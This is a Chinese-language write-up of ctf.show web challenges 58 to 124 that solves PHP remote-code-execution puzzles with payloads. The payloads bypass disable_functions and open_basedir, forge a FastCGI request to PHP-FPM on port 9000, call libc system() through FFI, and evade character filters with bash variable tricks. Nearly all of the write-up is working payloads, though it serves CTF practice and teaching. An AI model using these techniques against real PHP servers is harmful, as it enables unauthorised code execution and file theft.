web58
题目描述
命令执行,突破禁用函数
<?phpif(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}<br /><b>Warning</b>: system() has been disabled for security reasons in <b>/var/www/html/index.php(17) : eval()'d code</b> on line <b>1</b><br />可以看见我们的 system() 函数被禁用了,我们先看一下哪些函数被禁用了
c=var_dump(ini_get("disable_functions"));
"phpinfo,apache_child_terminate,apache_setenv,chgrp,chmod,chown,curl_exec,curl_multi_exec,dl,exec,imap_mail,imap_open,ini_alter,ini_restore,ini_set,link,mail,openlog,parse_ini_file,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_wait,pcntl_waitpid,pcntl_wstopsig,pcntl_wtermsig,popen,posix_kill,proc_get_status,proc_open,proc_terminate,putenv,readlink,shell_exec,symlink,syslog,system"
可以看见 scandir() highlight_file() 都未被禁用
构造 c=var_dump(scandir(".")); 输出
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php"}c=highlight_file("flag.php");即可
语法
ini_get() 是 php 内置函数,用来读取 ini.php 中的某个配置项
var_dump(...) 用来输出变量的类型和值
web59
题目描述
命令执行,突破禁用函数
<?phpif(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}我们还是 c=var_dump(scandir(".")); ,注意,我们要在请求头加 Content-Type: application/x-www-form-urlencoded,告诉服务器,post 提交的是 html 表单格式
c=highlight_file("flag.php"); 获取 flag
web60
题目描述
命令执行,突破禁用函数
<?phpif(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}依旧 c=highlight_file("flag.php");
web61
题目描述
命令执行,突破禁用函数
<?phpif(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}依旧 c=highlight_file("flag.php");
web62
题目描述
命令执行,突破禁用函数
<?phpif(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}还是一样
web63
题目描述
命令执行,突破禁用函数
<?phpif(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}还是一样
web64
题目描述
命令执行,突破禁用函数,真的是 秀不过你们
<?phpif(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}web65
题目描述
命令执行,突破禁用函数,求你们别秀了
<?phpif(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}hyw?怎么全是一样的
web66
题目描述
命令执行,突破禁用函数,求你们别秀了
<?phpif(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}c=highlight_file(%22flag.php%22)%3b

c=var_dump(scandir(%22%2f%22))%3b

c=highlight_file(%22%2fflag.txt%22)%3b 拿到 flag
web67
题目描述
命令执行,突破禁用函数,求你们别秀了
<?phpif(isset($_POST['c'])){ $c= $_POST['c']; eval($c);}else{ highlight_file(__FILE__);}c=highlight_file(%22%2fflag.txt%22)%3b
web68
题目描述
命令执行,突破禁用函数,求你们别秀了

可以看见 highlight_file() 被禁用了。所以看不见源码,还是简单 post 一下


确实是 eval() 函数,那我们直接 scandir()

/flag.txt
include() 未被禁,我们用 include()
web69
题目描述
命令执行,突破禁用函数,求你们别秀了

<br /><b>Warning</b>: var_dump() has been disabled for security reasons in <b>/var/www/html/index.php(17) : eval()'d code</b> on line <b>1</b><br />这回 var_dump() 也被禁用了,我们用 c=foreach(scandir('/') as $v){echo $v."\n";}

构造 c=include("/flag.txt");
语法
foreach() 遍历,scandir() 返回的是数组,每遍历得到的东西赋值给 v 并 echo 输出
web70
题目描述
命令执行,突破禁用函数,求你们别秀了

禁的更多了,依旧 foreach

之后尝试 include()
web71
题目描述
命令执行,突破禁用函数,求你们别秀了
<?phperror_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{ highlight_file(__FILE__);}?>

直接 include() 可以看见变成了问号,源码中,将字母和数字变成了问号,那我们在 include()后加exit 在执行到替换前就结束
include("/flag.txt");exit();
web72
题目描述
命令执行,突破禁用函数,求你们别秀了
<?phperror_reporting(0);ini_set('display_errors', 0);// 你们在炫技吗?if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s);}else{ highlight_file(__FILE__);}?>
直接 include("flag.txt");exit();
</b>: include(/flag.txt): failed to open stream: No such file or directory in <b>/var/www/html/index.php(19) : eval()'d code</b> on line <b>1</b><br /><br /><b>Warning</b>: include(): Failed opening '/flag.txt' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php(19) : eval()'d code</b> on line <b>1</b><br />可以看见没有文件
用 var_dump(scandir('/'));exit;
: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in <b>/var/www/html/index.php(19) : eval()'d code可以看见有 open_basedir restriction,只允许访问 /var/www/html/ 路径下的文件,我们用 glob 枚举根目录
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f,"\n";}exit;
DirectoryIterator 是 PHP 的 SPL 目录迭代器,用来遍历目录里的文件。

可以看见有 flag0.txt 我们想办法读取
PHP 的运行方式
我们访问网站时,大致流程如下
你的浏览器 ↓Nginx ↓PHP-FPM ↓执行 index.phpNginx是 Web 服务器,负责接收 HTTP 请求
PHP-FPM 是真正执行 PHP 代码的程序。Nginx 把请求交给它,它执行 PHP 文件,然后把结果还给 Nginx。
Nginx 和 PHP-FPM 之间用FASTCGI协议,他们不用http。
本题
既然我们被限制访问的路径,那我们尝试新开一个网页,9000 是 PHP-FPM 常用监听端口。那由于有 RCE 我们让服务器自己去连接自己 stream_socket_client("tcp://127.0.0.1:9000")
之后我们伪造 FASTCGI 请求,修改配置
open_basedir=/allow_url_include=Onauto_prepend_file=php://input最终利用
bp 构造请求如下
POST / HTTP/1.1Host: b3184261-41e8-4f4c-be96-aff762425946.challenge.ctf.showContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 1397c=function enc($n,$v){ $l1=strlen($n); $l2=strlen($v); $s=""; if($l1<128){$s.=pack("C",$l1);}else{$s.=pack("N",$l1|0x80000000);} if($l2<128){$s.=pack("C",$l2);}else{$s.=pack("N",$l2|0x80000000);} return $s.$n.$v;}function rec($t,$c){ $l=strlen($c); return pack("CCnnCC",1,$t,1,$l,0,0).$c;}$code='<?php include("/flag0.txt"); ?>';$nl=pack("C",10);$pv='open_basedir=/'.$nl.'allow_url_include=On'.$nl.'auto_prepend_file=php://input';$params=array( 'GATEWAY_INTERFACE'=>'FastCGI/1.0', 'REQUEST_METHOD'=>'POST', 'SCRIPT_FILENAME'=>'/var/www/html/index.php', 'SCRIPT_NAME'=>'/index.php', 'DOCUMENT_ROOT'=>'/var/www/html', 'REMOTE_ADDR'=>'127.0.0.1', 'REMOTE_PORT'=>'9985', 'SERVER_ADDR'=>'127.0.0.1', 'SERVER_PORT'=>'80', 'SERVER_NAME'=>'localhost', 'SERVER_PROTOCOL'=>'HTTP/1.1', 'CONTENT_TYPE'=>'application/x-www-form-urlencoded', 'CONTENT_LENGTH'=>strval(strlen($code)), 'PHP_VALUE'=>$pv);$p='';foreach($params as $k=>$v){ $p.=enc($k,$v);}$req=rec(1,pack("nC6",1,0,0,0,0,0,0)).rec(4,$p).rec(4,'').rec(5,$code).rec(5,'');$fp=stream_socket_client('tcp://127.0.0.1:9000',$e,$s,3);stream_socket_sendto($fp,$req);stream_set_timeout($fp,2);for($i=0;$i<20;$i++){ $r=stream_socket_recvfrom($fp,8192); if(strlen($r)==0){break;} echo $r;}exit;web73
题目描述
命令执行,突破禁用函数,求你们别秀了
c=include(%22flag.txt%22)%3bexit()%3b 尝试发现没有相关路径
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f,"\n";}exit;

c=include(%22/flagc.txt%22)%3bexit()%3b 拿到 flag
web74
题目描述
命令执行,突破禁用函数,求你们别秀了
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f,"\n";}exit;

include("/flagx.txt");exit(); 拿到 flag
web75
题目描述
命令执行,突破禁用函数,求你们别秀了
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f,"\n";}exit;

直接 include 不行,再尝试原方法发现 strlen() 也被禁了

我们把 strlen() 换成 mb_strlen()
POST / HTTP/1.1Host: a7b56363-5612-4412-a2c4-c1549f6b1cad.challenge.ctf.showContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 1418c=function L($s){return mb_strlen($s,"8bit");}function enc($n,$v){ $l1=L($n); $l2=L($v); $s=""; if($l1<128){$s.=pack("C",$l1);}else{$s.=pack("N",$l1|0x80000000);} if($l2<128){$s.=pack("C",$l2);}else{$s.=pack("N",$l2|0x80000000);} return $s.$n.$v;}function rec($t,$c){ $l=L($c); return pack("CCnnCC",1,$t,1,$l,0,0).$c;}$code='<?php include("/flag36.txt"); ?>';$nl=pack("C",10);$pv='open_basedir=/'.$nl.'allow_url_include=On'.$nl.'auto_prepend_file=php://input';$params=array( 'GATEWAY_INTERFACE'=>'FastCGI/1.0', 'REQUEST_METHOD'=>'POST', 'SCRIPT_FILENAME'=>'/var/www/html/index.php', 'SCRIPT_NAME'=>'/index.php', 'DOCUMENT_ROOT'=>'/var/www/html', 'REMOTE_ADDR'=>'127.0.0.1', 'REMOTE_PORT'=>'9985', 'SERVER_ADDR'=>'127.0.0.1', 'SERVER_PORT'=>'80', 'SERVER_NAME'=>'localhost', 'SERVER_PROTOCOL'=>'HTTP/1.1', 'CONTENT_TYPE'=>'application/x-www-form-urlencoded', 'CONTENT_LENGTH'=>strval(L($code)), 'PHP_VALUE'=>$pv);$p='';foreach($params as $k=>$v){ $p.=enc($k,$v);}$req=rec(1,pack("nC6",1,0,0,0,0,0,0)).rec(4,$p).rec(4,'').rec(5,$code).rec(5,'');$fp=stream_socket_client('tcp://127.0.0.1:9000',$e,$s,3);stream_socket_sendto($fp,$req);stream_set_timeout($fp,2);for($i=0;$i<20;$i++){ $r=stream_socket_recvfrom($fp,8192); if($r===''){break;} echo $r;}exit;
web76
题目描述
命令执行,突破禁用函数,求你们别秀了

枚举出 flag36d.txt
payload 如下
POST / HTTP/1.1Host: b51381e3-aff8-4c92-ad97-46f39feeccaa.challenge.ctf.showContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 1419c=function L($s){return mb_strlen($s,"8bit");}function enc($n,$v){ $l1=L($n); $l2=L($v); $s=""; if($l1<128){$s.=pack("C",$l1);}else{$s.=pack("N",$l1|0x80000000);} if($l2<128){$s.=pack("C",$l2);}else{$s.=pack("N",$l2|0x80000000);} return $s.$n.$v;}function rec($t,$c){ $l=L($c); return pack("CCnnCC",1,$t,1,$l,0,0).$c;}$code='<?php include("/flag36d.txt"); ?>';$nl=pack("C",10);$pv='open_basedir=/'.$nl.'allow_url_include=On'.$nl.'auto_prepend_file=php://input';$params=array( 'GATEWAY_INTERFACE'=>'FastCGI/1.0', 'REQUEST_METHOD'=>'POST', 'SCRIPT_FILENAME'=>'/var/www/html/index.php', 'SCRIPT_NAME'=>'/index.php', 'DOCUMENT_ROOT'=>'/var/www/html', 'REMOTE_ADDR'=>'127.0.0.1', 'REMOTE_PORT'=>'9985', 'SERVER_ADDR'=>'127.0.0.1', 'SERVER_PORT'=>'80', 'SERVER_NAME'=>'localhost', 'SERVER_PROTOCOL'=>'HTTP/1.1', 'CONTENT_TYPE'=>'application/x-www-form-urlencoded', 'CONTENT_LENGTH'=>strval(L($code)), 'PHP_VALUE'=>$pv);$p='';foreach($params as $k=>$v){ $p.=enc($k,$v);}$req=rec(1,pack("nC6",1,0,0,0,0,0,0)).rec(4,$p).rec(4,'').rec(5,$code).rec(5,'');$fp=stream_socket_client('tcp://127.0.0.1:9000',$e,$s,3);stream_socket_sendto($fp,$req);stream_set_timeout($fp,2);for($i=0;$i<20;$i++){ $r=stream_socket_recvfrom($fp,8192); if($r===''){break;} echo $r;}exit;
web77
题目描述
命令执行,突破禁用函数,求你们别秀了

但是靶机开了FFI echo class_exists("FFI")?"yes":"no";exit;

c=echo ini_get("ffi.enable");exit;

FFI
FFI 全称 Foreign Function Interface
开启了这个允许 php 调用外部语言库的函数
虽然题目中近了 system() ,但我们可以调用 C 语言中的 system() 函数

c=echo ini_get("open_basedir");exit;
可以看见 open_basedir 是 var/www/html
构造
c=$ffi=FFI::cdef("int system(const char *command);","libc.so.6");$ffi->system("/readflag > /var/www/html/1.txt");include "/var/www/html/1.txt";exit;
web118
题目描述
flag in flag.php


发送 aaa 发现未被处理

返回 evil input
试了一圈,发现 ?@#${}:;.~_ A-Z空格不会返回 evil input ,字母数字还有其他符号都会返回非法

根据这个提示,大概这个表单传进去的会被 system 包裹,那我们构造
${PATH:~A}${PWD:~A} ????.??? 展开成 nl
这里指的是 PATH 倒数第 A 位,A未赋值,通常为 0 .那 ~ 按位取反为 1 ,那就是倒数第一位,PATH 路径通常是 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin pwd 通常是 /var/www/html 展开后就是 nl

拿到 flag
web119
题目描述

继续抓包测试

爆破看一下
结果有 空格 .$#:;?@~Z ~{}_ 我们还是 ${PATH:~A}${PWD:~A} ????.???
但是 PATH 不行,会返回非法可以用其他的,例如 SCRIPT_NAME=/index.php
这里我们用${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
${PWD:${#}:${#SHLVL}} 取 PWD 的第 0 位、长度 1。PWD=/var/www/html,所以取到:/
${HOME:${#HOSTNAME}:${#SHLVL}} # 取长度,分别是 8,1 结果是 t 最终 /???/??t ????.??? 匹配 /bin/cat flag.php

web120
题目描述
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; }}?>可以看见这道题的源码,没有禁 A~Z ~?{}@#$_空格我们如此构造
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web121
题目描述
师傅们 留口饭吃
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; }}?>没有禁 A~Z ?{}@#$空格,我们构造 ${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.??? 即 /bin/rev flag.php
web122
题目描述
最后一个了 hint:fuzz
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; }}?>这次又禁了 PWD,我们这里构造 <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? <A 把 A 作为标准文件输入,而 $? 指的是返回上一个命令执行结果,成功为 0 ,失败为 1 ,那么这里 ${HOME::$?} 代表 /,这里展开 {HOME::$?}?????${RANDOM::$?} /????x x 是随机数字,那么这里匹配的是 base64

多次尝试后,拿到了 flag
web124
题目描述
RCE
<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } eval('echo '.$content.';');}可以看见只允许白名单内的函数,我们构造
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20flag.php


读者回信
正在翻开留言页...